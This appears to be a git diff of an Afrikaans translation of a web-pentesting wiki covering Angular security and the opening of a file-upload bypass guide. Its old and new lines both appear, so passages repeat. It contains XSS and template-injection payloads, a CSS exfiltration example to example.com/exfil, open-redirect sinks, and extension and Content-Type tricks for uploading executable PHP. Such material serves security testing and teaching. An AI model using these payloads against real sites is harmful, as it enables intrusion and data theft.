Volgens die dokumentasie het elke Angular-toepassing ten minste een komponent, die wortelkomponent (`AppComponent`) wat 'n komponenthiërargie met die DOM verbind. Elke komponent definieer 'n klas wat toepassingsdata en -logika bevat, en is geassosieer met 'n HTML-sjabloon wat 'n weergawe definieer wat in 'n teikenomgewing vertoon moet word. Die `@Component()` dekorator identifiseer die klas onmiddellik onder dit as 'n komponent, en verskaf die sjabloon en verwante komponent-spesifieke metadata. Die `AppComponent` is gedefinieer in die `app.component.ts`-lêer.
Angular NgModules verklaar 'n kompileringskonteks vir 'n stel komponente wat toegewy is aan 'n toepassingsdomein, 'n werksvloei, of 'n nou verwante stel vermoëns. Elke Angular-toepassing het 'n wortelmodule, konvensioneel genoem `AppModule`, wat die opstartmeganisme verskaf wat die toepassing begin. 'n Toepassing bevat tipies baie funksionele modules. Die `AppModule` is gedefinieer in die `app.module.ts` lêer.
Angular NgModules verklaar 'n kompilasiekonteks vir 'n stel komponente wat toegewy is aan 'n toepassingsdomein, 'n werksvloei, of 'n nou verwante stel vermoëns. Elke Angular-toepassing het 'n wortelmodule, konvensioneel genoem `AppModule`, wat die opstartmeganisme verskaf wat die toepassing begin. 'n Toepassing bevat tipies baie funksionele modules. Die `AppModule` is gedefinieer in die `app.module.ts`-lêer.
Die Angular `Router` NgModule bied 'n diens wat jou toelaat om 'n navigasiepunt tussen die verskillende toepassingsstate en weergavehiërargieë in jou toepassing te definieer. Die `RouterModule` is gedefinieer in die `app-routing.module.ts` lêer.
Die Angular `Router` NgModule bied 'n diens wat jou toelaat om 'n navigasiepunt tussen die verskillende toepassingsstate en weergavehiërargieë in jou toepassing te definieer. Die `RouterModule` is gedefinieer in die `app-routing.module.ts`-lêer.
Vir data of logika wat nie geassosieer is met 'n spesifieke weergawe nie, en wat jy oor komponente wil deel, skep jy 'n diensklas. 'n Diensklasdefinisie word onmiddellik voorafgegaan deur die `@Injectable()` dekorator. Die dekorator verskaf die metadata wat toelaat dat ander verskaffers as afhanklikhede in jou klas ingespuit kan word. Afhanklikheidsinjeksie (DI) laat jou toe om jou komponentklasse slank en doeltreffend te hou. Hulle haal nie data van die bediener af nie, valideer nie gebruikersinvoer nie, of log nie direk na die konsole nie; hulle delegeer sulke take aan dienste.
## Sourcemap konfigurasie
Die Angular-raamwerk vertaal TypeScript-lêers na JavaScript-kode deur die `tsconfig.json` opsies te volg en bou dan 'n projek met `angular.json` konfigurasie. Kyk na die `angular.json` lêer, het ons 'n opsie opgemerk om 'n sourcemap in te skakel of te deaktiveer. Volgens die Angular-dokumentasie het die standaardkonfigurasie 'n sourcemap-lêer wat vir skrifte geaktiveer is en nie standaard versteek is nie:
Die Angular-raamwerk vertaal TypeScript-lêers na JavaScript-kode deur die `tsconfig.json` opsies te volg en bou dan 'n projek met `angular.json` konfigurasie. Kyk na die `angular.json`-lêer, het ons 'n opsie opgemerk om 'n sourcemap in te skakel of te deaktiveer. Volgens die Angular-dokumentasie het die standaardkonfigurasie 'n sourcemap-lêer wat geaktiveer is vir skrifte en is nie standaard versteek nie:
```json
"sourceMap": {
"scripts": true,
@ -58,13 +58,13 @@ Die Angular-raamwerk vertaal TypeScript-lêers na JavaScript-kode deur die `tsco
"hidden": false
}
```
Algemeen word sourcemap-lêers gebruik vir foutopsporing, aangesien hulle gegenereerde lêers aan hul oorspronklike lêers koppel. Daarom word dit nie aanbeveel om hulle in 'n produksie-omgewing te gebruik nie. As sourcemaps geaktiveer is, verbeter dit die leesbaarheid en help dit met lêeranalyse deur die oorspronklike toestand van die Angular-projek te herhaal. As hulle egter gedeaktiveer is, kan 'n beoordelaar steeds 'n saamgestelde JavaScript-lêer handmatig analiseer deur te soek na anti-sekuriteitspatrone.
Algemeen word sourcemap-lêers gebruik vir foutopsporing, aangesien hulle gegenereerde lêers aan hul oorspronklike lêers koppel. Daarom word dit nie aanbeveel om hulle in 'n produksie-omgewing te gebruik nie. As sourcemaps geaktiveer is, verbeter dit die leesbaarheid en help dit met lêeranalisering deur die oorspronklike toestand van die Angular-projek te herhaal. As hulle egter gedeaktiveer is, kan 'n beoordelaar steeds 'n saamgestelde JavaScript-lêer handmatig analiseer deur te soek na anti-sekuriteitspatrone.
Verder kan 'n saamgestelde JavaScript-lêer met 'n Angular-projek in die blaaiers ontwikkelaarstoestelle gevind word → Sources (of Debugger en Sources) → \[id].main.js. Afhangende van die geaktiveerde opsies, kan hierdie lêer die volgende ry aan die einde bevat `//# sourceMappingURL=[id].main.js.map` of dit mag nie wees nie, as die **hidden** opsie op **true** gestel is. Nietemin, as die sourcemap vir **scripts** gedeaktiveer is, word toetsing meer kompleks, en ons kan nie die lêer verkry nie. Daarbenewens kan sourcemap tydens projekbou geaktiveer word soos `ng build --source-map`.
Verder kan 'n saamgestelde JavaScript-lêer met 'n Angular-projek in die blaaier ontwikkelaar gereedskap → Bronne (of Foutopsporing en Bronne) → \[id].main.js gevind word. Afhangende van die geaktiveerde opsies, kan hierdie lêer die volgende ry aan die einde bevat `//# sourceMappingURL=[id].main.js.map` of dit mag nie wees nie, as die **hidden** opsie op **true** gestel is. Nietemin, as die sourcemap vir **scripts** gedeaktiveer is, word toetsing meer kompleks, en ons kan nie die lêer verkry nie. Boonop kan sourcemap geaktiveer word tydens projekbou soos `ng build --source-map`.
## Data binding
Binding verwys na die proses van kommunikasie tussen 'n komponent en sy ooreenstemmende weergawe. Dit word gebruik om data na en van die Angular-raamwerk oor te dra. Data kan deur verskeie middele oorgedra word, soos deur gebeurtenisse, interpolasie, eienskappe, of deur die twee-rigting binding meganisme. Boonop kan data ook tussen verwante komponente (ouer-kind verhouding) en tussen twee nie-verwante komponente gedeel word deur die Service-funksie.
Binding verwys na die proses van kommunikasie tussen 'n komponent en sy ooreenstemmende weergawe. Dit word gebruik om data na en van die Angular-raamwerk oor te dra. Data kan deur verskeie middele oorgedra word, soos deur gebeurtenisse, interpolasie, eienskappe, of deur die twee-rigting binding meganisme. Boonop kan data ook tussen verwante komponente (ouer-kind verhouding) en tussen twee nie-verwante komponente gedeel word deur die Diens-funksie.
Ons kan binding klassifiseer volgens datastroom:
@ -76,11 +76,11 @@ Binding kan op eienskappe, gebeurtenisse en attribuut, sowel as op enige publiek
| Tipe | Teiken | Voorbeelde |
| --------- | -------------------------------------------------------- | ------------------------------------------------------------------ |
| Eiendom | Element eiendom, Komponent eiendom, Rigting eiendom | \<img \[alt]="hero.name" \[src]="heroImageUrl"> |
| Gebeurtenis | Element gebeurtenis, Komponent gebeurtenis, Rigting gebeurtenis | \<button type="button" (click)="onSave()">Save |
| Twee-rigting | Gebeurtenis en eiendom | \<input \[(ngModel)]="name"> |
| Attribuut | Attribuut (die uitsondering) | \<button type="button" \[attr.aria-label]="help">help |
| Klas | klas eiendom | \<div \[class.special]="isSpecial">Special |
| Eiendom | Element eiendom, Komponent eiendom, Rigting eiendom | \<img \[alt]="hero.name" \[src]="heroImageUrl"> |
| Gebeurtenis | Element gebeurtenis, Komponent gebeurtenis, Rigting gebeurtenis | \<button type="button" (click)="onSave()">Save |
| Twee-rigting | Gebeurtenis en eiendom | \<input \[(ngModel)]="name"> |
| Attribuut | Attribuut (die uitsondering) | \<button type="button" \[attr.aria-label]="help">help |
| Klas | klas eiendom | \<div \[class.special]="isSpecial">Special |
| Styl | styl eiendom | \<button type="button" \[style.color]="isSpecial ? 'red' : 'green'"> |
## Angular sekuriteitsmodel
@ -113,8 +113,8 @@ Resultaat: `<div><h1>test</h1></div>`
Daar is 6 tipes `SecurityContext` :
* `None`;
* `HTML` word gebruik, wanneer waarde as HTML geïnterpreteer word;
* `STYLE` word gebruik, wanneer CSS aan die `style` eiendom gebind word;
* `HTML` word gebruik wanneer die waarde as HTML geïnterpreteer word;
* `STYLE` word gebruik wanneer CSS in die `style` eiendom gebind word;
* `URL` word gebruik vir URL eiendomme, soos `<a href>`;
* `SCRIPT` word gebruik vir JavaScript kode;
* `RESOURCE_URL` as 'n URL wat as kode gelaai en uitgevoer word, byvoorbeeld, in `<script src>`.
@ -123,7 +123,7 @@ Daar is 6 tipes `SecurityContext` :
### Bypass Security Trust metodes
Die Angular stel 'n lys met metodes bekend om sy standaard sanitisering proses te omseil en om aan te dui dat 'n waarde veilig in 'n spesifieke konteks gebruik kan word, soos in die volgende vyf voorbeelde:
Die Angular stel 'n lys met metodes bekend om sy standaard sanitisering proses te omseil en aan te dui dat 'n waarde veilig in 'n spesifieke konteks gebruik kan word, soos in die volgende vyf voorbeelde:
1. `bypassSecurityTrustUrl` word gebruik om aan te dui dat die gegewe waarde 'n veilige styl URL is:
@ -187,11 +187,11 @@ this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: u
Request URL: GET example.com/exfil/a
```
Angular bied 'n `sanitize` metode aan om data te sanitisere voordat dit in weergawes vertoon word. Hierdie metode gebruik die sekuriteitskonteks wat verskaf word en reinig die invoer dienooreenkomstig. Dit is egter van kardinale belang om die korrekte sekuriteitskonteks vir die spesifieke data en konteks te gebruik. Byvoorbeeld, om 'n sanitisateur met `SecurityContext.URL` op HTML-inhoud toe te pas, bied nie beskerming teen gevaarlike HTML-waardes nie. In sulke scenario's kan die misbruik van sekuriteitskonteks lei tot XSS kwesbaarhede.
Angular bied 'n `sanitize` metode aan om data te sanitiseren voordat dit in weergawes vertoon word. Hierdie metode gebruik die sekuriteitskonteks wat verskaf word en reinig die invoer dienooreenkomstig. Dit is egter van kardinale belang om die korrekte sekuriteitskonteks vir die spesifieke data en konteks te gebruik. Byvoorbeeld, om 'n sanitisateur met `SecurityContext.URL` op HTML-inhoud toe te pas, bied nie beskerming teen gevaarlike HTML-waardes nie. In sulke scenario's kan die misbruik van sekuriteitskonteks lei tot XSS-kwesbaarhede.
### HTML inspuiting
Hierdie kwesbaarheid ontstaan wanneer gebruikersinvoer aan enige van die drie eienskappe gebind word: `innerHTML`, `outerHTML`, of `iframe` `srcdoc`. Terwyl binding aan hierdie attribuut HTML interpreteer soos dit is, word die invoer gesanitisereer met behulp van `SecurityContext.HTML`. Dus, HTML inspuiting is moontlik, maar kruis-web scripting (XSS) is nie.
Hierdie kwesbaarheid gebeur wanneer gebruikersinvoer aan enige van die drie eienskappe gebind word: `innerHTML`, `outerHTML`, of `iframe` `srcdoc`. Terwyl binding aan hierdie attribuut HTML interpreteer soos dit is, word die invoer gesaniteer met behulp van `SecurityContext.HTML`. Dus, HTML-inspuiting is moontlik, maar kruis-web scripting (XSS) is nie.
Voorbeeld van die gebruik van `innerHTML`:
```jsx
@ -210,15 +210,15 @@ test = "<script>alert(1)</script><h1>test</h1>";
//app.component.html
<div [innerHTML]="test"></div>
```
Die resultaat is `<div><h1>test</h1></div>`.
<div><h1>toets</h1></div>
### Sjabloon inspuiting
#### Kliënt-kant Rendering (CSR)
Angular benut sjablone om bladsye dinamies te konstrueer. Die benadering behels die insluiting van sjabloonuitdrukkings vir Angular om binne dubbele krulhakies (`{{}}`) te evalueer. Op hierdie manier bied die raamwerk bykomende funksionaliteit. Byvoorbeeld, 'n sjabloon soos `{{1+1}}` sou as 2 vertoon.
Angular benut sjablone om bladsye dinamies te konstrueer. Die benadering behels die insluiting van sjabloonuitdrukkings wat Angular moet evalueer binne dubbele krulhakies (`{{}}`). Op hierdie manier bied die raamwerk bykomende funksionaliteit. Byvoorbeeld, 'n sjabloon soos `{{1+1}}` sou as 2 vertoon.
Tipies, Angular ontsnap gebruikersinvoer wat met sjabloonuitdrukkings verwar kan word (bv., karakters soos \`< > ' " \`\`). Dit beteken dat bykomende stappe benodig word om hierdie beperking te omseil, soos om funksies te gebruik wat JavaScript-stringobjekte genereer om te verhoed dat geblacklisted karakters gebruik word. Om dit te bereik, moet ons egter die Angular-konteks, sy eienskappe en veranderlikes oorweeg. Daarom kan 'n sjabloon inspuiting aanval soos volg voorkom:
Tipies, Angular ontsnap gebruikersinvoer wat met sjabloonuitdrukkings verwar kan word (bv. karakters soos \`< > ' " \`\`). Dit beteken dat bykomende stappe benodig word om hierdie beperking te omseil, soos om funksies te gebruik wat JavaScript-stringobjekte genereer om te verhoed dat geblacklisted karakters gebruik word. Om dit te bereik, moet ons egter die Angular-konteks, sy eienskappe en veranderlikes oorweeg. Daarom kan 'n sjabloon inspuitingsaanval soos volg voorkom:
```jsx
//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@ -227,11 +227,11 @@ selector: 'app-root',
template: '<h1>title</h1>' + _userInput
})
```
Soos hierbo getoon: `constructor` verwys na die omvang van die Object `constructor` eienskap, wat ons in staat stel om die String constructor aan te roep en 'n arbitrêre kode uit te voer.
Soos hierbo getoon, verwys `constructor` na die omvang van die Object `constructor` eienskap, wat ons in staat stel om die String constructor aan te roep en 'n arbitrêre kode uit te voer.
#### Server-Side Rendering (SSR)
In teenstelling met CSR, wat in die blaaiers se DOM plaasvind, is Angular Universal verantwoordelik vir SSR van sjabloonlêers. Hierdie lêers word dan aan die gebruiker gelewer. Ondanks hierdie onderskeid, pas Angular Universal dieselfde sanitasie-meganismes toe wat in CSR gebruik word om SSR-sekuriteit te verbeter. 'n Sjabloon-inspuitingskwesbaarheid in SSR kan op dieselfde manier as in CSR opgespoor word, omdat die gebruikte sjabloontaal dieselfde is.
In teenstelling met CSR, wat in die blaaiers se DOM plaasvind, is Angular Universal verantwoordelik vir SSR van sjabloonlêers. Hierdie lêers word dan aan die gebruiker gelewer. Ten spyte van hierdie onderskeid, pas Angular Universal dieselfde sanitasie-meganismes toe wat in CSR gebruik word om SSR-sekuriteit te verbeter. 'n Sjabloon-inspuitingskwesbaarheid in SSR kan op dieselfde manier opgespoor word as in CSR, omdat die gebruikte sjabloontaal dieselfde is.
Natuurlik is daar ook 'n moontlikheid om nuwe sjabloon-inspuitingskwesbaarhede in te voer wanneer derdeparty-sjabloon-enjins soos Pug en Handlebars gebruik word.
@ -239,7 +239,7 @@ Natuurlik is daar ook 'n moontlikheid om nuwe sjabloon-inspuitingskwesbaarhede i
#### DOM interfaces
Soos voorheen vermeld, kan ons die DOM direk benader deur die _Document_ interface. As gebruikersinvoer nie vooraf gevalideer word nie, kan dit lei tot cross-site scripting (XSS) kwesbaarhede.
Soos voorheen vermeld, kan ons die DOM direk benader met die _Document_ interface. As gebruikersinvoer nie vooraf gevalideer word nie, kan dit lei tot cross-site scripting (XSS) kwesbaarhede.
Ons het die `document.write()` en `document.createElement()` metodes in die voorbeelde hieronder gebruik:
```jsx
@ -315,7 +315,7 @@ this.elementRef.nativeElement.appendChild(s);
}
}
```
* Ten spyte van die feit dat `Renderer2` 'n API bied wat veilig gebruik kan word selfs wanneer direkte toegang tot inheemse elemente nie ondersteun word nie, het dit steeds 'n paar sekuriteitsfoute. Met `Renderer2` is dit moontlik om eienskappe op 'n HTML-element in te stel met die `setAttribute()` metode, wat geen XSS voorkoming meganismes het nie.
* Ten spyte van die feit dat `Renderer2` 'n API bied wat veilig gebruik kan word selfs wanneer direkte toegang tot inheemse elemente nie ondersteun word nie, het dit steeds 'n paar sekuriteitsfoute. Met `Renderer2` is dit moontlik om eienskappe op 'n HTML-element in te stel met die `setAttribute()` metode, wat geen XSS voorkomingsmeganismes het nie.
```tsx
//app.component.ts
@ -410,7 +410,7 @@ $("p").html("<script>alert(1)</script>");
jQuery.parseHTML(data [, context ] [, keepScripts ])
```
Soos voorheen genoem, sal die meeste jQuery API's wat HTML-string aanvaar, skripte wat in die HTML ingesluit is, uitvoer. Die `jQuery.parseHTML()` metode voer nie skripte in die geparseerde HTML uit nie, tensy `keepScripts` eksplisiet `true` is. Dit is egter steeds moontlik in die meeste omgewings om skripte indirek uit te voer; byvoorbeeld, via die `<img onerror>` eienskap.
Soos voorheen genoem, sal die meeste jQuery API's wat HTML-stringe aanvaar, skripte wat in die HTML ingesluit is, uitvoer. Die `jQuery.parseHTML()` metode voer nie skripte in die geparseerde HTML uit nie, tensy `keepScripts` eksplisiet `true` is. Dit is egter steeds moontlik in die meeste omgewings om skripte indirek uit te voer; byvoorbeeld, via die `<img onerror>` eienskap.
```tsx
//app.component.ts
@ -446,11 +446,11 @@ $palias.append(html);
#### DOM interfaces
Volgens die W3C-dokumentasie word die `window.location` en `document.location` objek as aliase in moderne blaaiers behandel. Dit is waarom hulle soortgelyke implementasies van sommige metodes en eienskappe het, wat 'n oop omleiding en DOM XSS met `javascript://` skema-aanvalle kan veroorsaak soos hieronder genoem.
Volgens die W3C-dokumentasie word die `window.location` en `document.location` objek as aliase in moderne blaaiers behandel. Dit is waarom hulle soortgelyke implementasies van sommige metodes en eienskappe het, wat 'n open redirect en DOM XSS met `javascript://` skema-aanvalle kan veroorsaak soos hieronder genoem.
* `window.location.href`(en `document.location.href`)
Die kanonieke manier om die huidige DOM-lokasie objek te kry, is deur `window.location` te gebruik. Dit kan ook gebruik word om die blaaier na 'n nuwe bladsy te herlei. As gevolg hiervan, om beheer oor hierdie objek te hê, stel ons in staat om 'n oop omleiding kwesbaarheid te benut.
Die kanonieke manier om die huidige DOM-lokasie objek te kry, is deur `window.location` te gebruik. Dit kan ook gebruik word om die blaaier na 'n nuwe bladsy te herlei. As gevolg hiervan, om beheer oor hierdie objek te hê, stel ons in staat om 'n open redirect kwesbaarheid te benut.
```tsx
//app.component.ts
@ -468,7 +468,7 @@ window.location.href = "https://google.com/about"
Die eksploitasiestap is identies vir die volgende scenario's.
* `window.location.assign()`(en `document.location.assign()`)
Hierdie metode laat die venster toe om die dokument by die gespesifiseerde URL te laai en weer te gee. As ons beheer oor hierdie metode het, kan dit 'n sink wees vir 'n oop omleiding aanval.
Hierdie metode laat die venster toe om die dokument by die gespesifiseerde URL te laai en weer te gee. As ons beheer oor hierdie metode het, kan dit 'n sink vir 'n open redirect aanval wees.
```tsx
//app.component.ts
@ -481,9 +481,9 @@ window.location.assign("https://google.com/about")
```
* `window.location.replace()`(en `document.location.replace()`)
Hierdie metode vervang die huidige hulpbron met die een by die verskafde URL.
Hierdie metode vervang die huidige hulpbron met die een by die gegewe URL.
Dit verskil van die `assign()` metode omdat die huidige bladsy nie in sessiegeskiedenis gestoor sal word nie na die gebruik van `window.location.replace()`. Dit is egter ook moontlik om 'n oop omleiding kwesbaarheid te benut wanneer ons beheer oor hierdie metode het.
Dit verskil van die `assign()` metode omdat die huidige bladsy nie in sessiegeskiedenis gestoor sal word nie na gebruik van `window.location.replace()`. Dit is egter ook moontlik om 'n open redirect kwesbaarheid te benut wanneer ons beheer oor hierdie metode het.
```tsx
//app.component.ts
@ -496,7 +496,7 @@ window.location.replace("http://google.com/about")
```
* `window.open()`
Die `window.open()` metode neem 'n URL en laai die hulpbron wat dit identifiseer in 'n nuwe of bestaande tab of venster. Om beheer oor hierdie metode te hê, kan ook 'n geleentheid wees om 'n XSS of oop omleiding kwesbaarheid te ontketen.
Die `window.open()` metode neem 'n URL en laai die hulpbron wat dit identifiseer in 'n nuwe of bestaande tab of venster. Om beheer oor hierdie metode te hê, kan ook 'n geleentheid wees om 'n XSS of open redirect kwesbaarheid te ontketen.
```tsx
//app.component.ts
@ -510,7 +510,7 @@ window.open("https://google.com/about", "_blank")
#### Angular klasse
* Volgens Angular-dokumentasie is Angular `Document` dieselfde as die DOM-dokument, wat beteken dat dit moontlik is om algemene vektore vir die DOM-dokument te gebruik om kliëntkant kwesbaarhede in die Angular te benut. `Document.location` eienskappe en metodes kan sinke wees vir suksesvolle oop omleiding aanvalle soos in die voorbeeld getoon:
* Volgens Angular-dokumentasie is Angular `Document` dieselfde as die DOM-dokument, wat beteken dat dit moontlik is om algemene vektore vir die DOM-dokument te gebruik om kliëntkant kwesbaarhede in die Angular te benut. `Document.location` eienskappe en metodes kan sinke wees vir suksesvolle open redirect aanvalle soos in die voorbeeld getoon:
```tsx
//app.component.ts
@ -533,7 +533,7 @@ this.document.location.href = 'https://google.com/about';
//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
```
* Tydens die navorsingsfase het ons ook die Angular `Location` klas vir oop omleiding kwesbaarhede hersien, maar geen geldige vektore is gevind nie. `Location` is 'n Angular diens wat toepassings kan gebruik om met 'n blaaiers huidige URL te kommunikeer. Hierdie diens het verskeie metodes om die gegewe URL te manipuleer - `go()`, `replaceState()`, en `prepareExternalUrl()`. Ons kan egter nie hulle gebruik vir herleiding na die eksterne domein nie. Byvoorbeeld:
* Tydens die navorsingsfase het ons ook die Angular `Location` klas vir open redirect kwesbaarhede hersien, maar geen geldige vektore is gevind nie. `Location` is 'n Angular diens wat toepassings kan gebruik om met 'n blaaiers huidige URL te kommunikeer. Hierdie diens het verskeie metodes om die gegewe URL te manipuleer - `go()`, `replaceState()`, en `prepareExternalUrl()`. Ons kan egter nie hulle gebruik vir herleiding na die eksterne domein nie. Byvoorbeeld:
```tsx
//app.component.ts
@ -558,7 +558,7 @@ console.log(this.location.go("http://google.com/about"));
```
Resultaat: `http://localhost:4200/http://google.com/about`
* Die Angular `Router` klas word hoofsaaklik gebruik om binne dieselfde domein te navigeer en voeg nie enige addisionele kwesbaarhede by die toepassing nie:
* Die Angular `Router` klas word hoofsaaklik gebruik om binne dieselfde domein te navigeer en voeg nie enige addisionele kwesbaarhede aan die toepassing toe nie:
```jsx
//app-routing.module.ts
@ -579,25 +579,25 @@ this.router.navigateByUrl('URL')
## Verwysings
* [Angular](https://angular.io/)
* [Angular Sekuriteit: Die Definitiewe Gids (Deel 1)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-1)
* [Angular Sekuriteit: Die Definitiewe Gids (Deel 2)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-2)
* [Angular Sekuriteit: Die Definitiewe Gids (Deel 3)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-3)
* [Angular Sekuriteit: Kontrolelys](https://lsgeurope.com/post/angular-security-checklist)
* [Workspace en projek lêerstruktuur](https://angular.io/guide/file-structure)
* [Inleiding tot komponente en sjablone](https://angular.io/guide/architecture-components)
* [Bronkaart konfigurasie](https://angular.io/guide/workspace-config#source-map-configuration)
* [Binding sintaksis](https://angular.io/guide/binding-syntax)
* [Angular Konteks: Maklike Data-Binding vir Geneste Komponent Bome en die Router Outlet](https://medium.com/angular-in-depth/angular-context-easy-data-binding-for-nested-component-trees-and-the-router-outlet-a977efacd48)
* [Sanitisering en sekuriteitskontekste](https://angular.io/guide/security#sanitization-and-security-contexts)
* [Angular Security: The Definitive Guide (Part 1)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-1)
* [Angular Security: The Definitive Guide (Part 2)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-2)
* [Angular Security: The Definitive Guide (Part 3)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-3)
* [Angular Security: Checklist](https://lsgeurope.com/post/angular-security-checklist)
* [Workspace and project file structure](https://angular.io/guide/file-structure)
* [Introduction to components and templates](https://angular.io/guide/architecture-components)
* [Source map configuration](https://angular.io/guide/workspace-config#source-map-configuration)
* [Binding syntax](https://angular.io/guide/binding-syntax)
* [Angular Context: Easy Data-Binding for Nested Component Trees and the Router Outlet](https://medium.com/angular-in-depth/angular-context-easy-data-binding-for-nested-component-trees-and-the-router-outlet-a977efacd48)
* [Sanitization and security contexts](https://angular.io/guide/security#sanitization-and-security-contexts)
* [GitHub - angular/dom\_security\_schema.ts](https://github.com/angular/angular/blob/main/packages/compiler/src/schema/dom\_security\_schema.ts)
* [XSS in Angular en AngularJS](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md)
* [Angular Universeel](https://angular.io/guide/universal)
* [DOM XSS](https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/dom-xss)
* [XSS in Angular and AngularJS](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md)
* [Angular Universal](https://angular.io/guide/universal)
* [DOM XSS](https://book.hacktricks.wiki/en/pentesting-web/xss-cross-site-scripting/dom-xss.html)
* [Angular ElementRef](https://angular.io/api/core/ElementRef)
* [Angular Renderer2](https://angular.io/api/core/Renderer2)
* [Renderer2 Voorbeeld: Manipulasie van DOM in Angular - TekTutorialsHub](https://www.tektutorialshub.com/angular/renderer2-angular/)
* [jQuery API Dokumentasie](http://api.jquery.com/)
* [Hoe om jQuery met Angular te gebruik (Wanneer jy absoluut moet)](https://blog.bitsrc.io/how-to-use-jquery-with-angular-when-you-absolutely-have-to-42c8b6a37ff9)
* [Angular Dokument](https://angular.io/api/common/DOCUMENT)
* [Angular Ligging](https://angular.io/api/common/Location)
* [Renderer2 Example: Manipulating DOM in Angular - TekTutorialsHub](https://www.tektutorialshub.com/angular/renderer2-angular/)
* [jQuery API Documentation](http://api.jquery.com/)
* [How To Use jQuery With Angular (When You Absolutely Have To)](https://blog.bitsrc.io/how-to-use-jquery-with-angular-when-you-absolutely-have-to-42c8b6a37ff9)
* [Angular Document](https://angular.io/api/common/DOCUMENT)
* [Angular Location](https://angular.io/api/common/Location)
* [Angular Router](https://angular.io/api/router/Router)

View File

@ -5,7 +5,7 @@
Kyk hierdie bladsy as jy meer wil leer oor die opnoem en misbruik van Emmers:
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum
https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.html#aws---s3-unauthenticated-enum
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -9,7 +9,7 @@ Firebase is 'n Backend-as-a-Service hoofsaaklik vir mobiele toepassings. Dit fok
Leer meer oor Firebase in:
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum
https://cloud.hacktricks.wiki/en/pentesting-cloud/gcp-security/gcp-services/gcp-firebase-enum.html
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,8 +1,8 @@
# File Upload
# Lêer Laai
{{#include ../../banners/hacktricks-training.md}}
## File Upload General Methodology
## Lêer Laai Algemene Metodologie
Ander nuttige uitbreidings:
@ -15,9 +15,9 @@ Ander nuttige uitbreidings:
- **Perl**: _.pl, .cgi_
- **Erlang Yaws Web Server**: _.yaws_
### Bypass file extensions checks
### Oorbrug lêer uitbreidings kontrole
1. As dit van toepassing is, **kontroleer** die **vorige uitbreidings.** Toets hulle ook met **hoofletters**: _pHp, .pHP5, .PhAr ..._
1. Indien van toepassing, **kontroleer** die **vorige uitbreidings.** Toets hulle ook met **hoofletters**: _pHp, .pHP5, .PhAr ..._
2. _Kontroleer **om 'n geldige uitbreiding voor** die uitvoeringsuitbreiding toe te voeg (gebruik ook vorige uitbreidings):_
- _file.png.php_
- _file.png.Php5_
@ -31,7 +31,7 @@ Ander nuttige uitbreidings:
- _file._
- _file.php...._
- _file.pHp5...._
4. Probeer om die beskermings te omseil **deur die uitbreiding parser** van die bediener-kant te mislei met tegnieke soos **dubbel** die **uitbreiding** of **rommel** data (**null** bytes) tussen uitbreidings. _Jy kan ook die **vorige uitbreidings** gebruik om 'n beter payload voor te berei._
4. Probeer om die beskermings te omseil deur die **uitbreidingsparser** van die bediener-kant te mislei met tegnieke soos **dubbel** die **uitbreiding** of **rommel** data (**null** bytes) tussen uitbreidings. _Jy kan ook die **vorige uitbreidings** gebruik om 'n beter payload voor te berei._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -43,8 +43,8 @@ Ander nuttige uitbreidings:
5. Voeg **nog 'n laag van uitbreidings** by die vorige kontrole:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. Probeer om die **exec-uitbreiding voor die geldige uitbreiding** te plaas en bid dat die bediener verkeerd geconfigureer is. (nuttig om Apache misconfigurasies te benut waar enigiets met uitbreiding\*\* _**.php**_**, maar** nie noodwendig eindig in .php\*\* sal kode uitvoer):
- _ex: file.php.png_
6. Probeer om die **exec-uitbreiding voor die geldige uitbreiding** te plaas en bid dat die bediener verkeerd geconfigureer is. (nuttig om Apache misconfigurasies te benut waar enigiets met die uitbreiding\*\* _**.php**_**, maar** nie noodwendig eindig in .php\*\* nie, sal kode uitvoer):
- _bv: file.php.png_
7. Gebruik **NTFS alternatiewe datastroom (ADS)** in **Windows**. In hierdie geval sal 'n kolonkarakter “:” na 'n verbode uitbreiding ingevoeg word en voor 'n toegelate een. As gevolg hiervan sal 'n **leë lêer met die verbode uitbreiding** op die bediener geskep word (bv. “file.asax:.jpg”). Hierdie lêer kan later met ander tegnieke soos die gebruik van sy kort lêernaam gewysig word. Die “**::$data**” patroon kan ook gebruik word om nie-leë lêers te skep. Daarom kan dit nuttig wees om 'n puntkarakter na hierdie patroon toe te voeg om verdere beperkings te omseil (.bv. “file.asp::$data.”)
8. Probeer om die lêernaam beperkings te breek. Die geldige uitbreiding word afgesny. En die kwaadwillige PHP bly oor. AAA<--SNIP-->AAA.php
@ -59,46 +59,46 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA<--SNIP 232 A-->AAA.php.png
```
### Bypass Content-Type, Magic Number, Compression & Resizing
### Oorbrug Inhoud-Tipe, Magic Number, Kompressie & Herverhouding
- Bypass **Content-Type** kontroles deur die **waarde** van die **Content-Type** **kop** in te stel op: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **woordlys**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Bypass **magic number** kontrole deur aan die begin van die lêer die **bytes van 'n werklike beeld** toe te voeg (verwar die _file_ opdrag). Of stel die shell in die **metadata** in:\
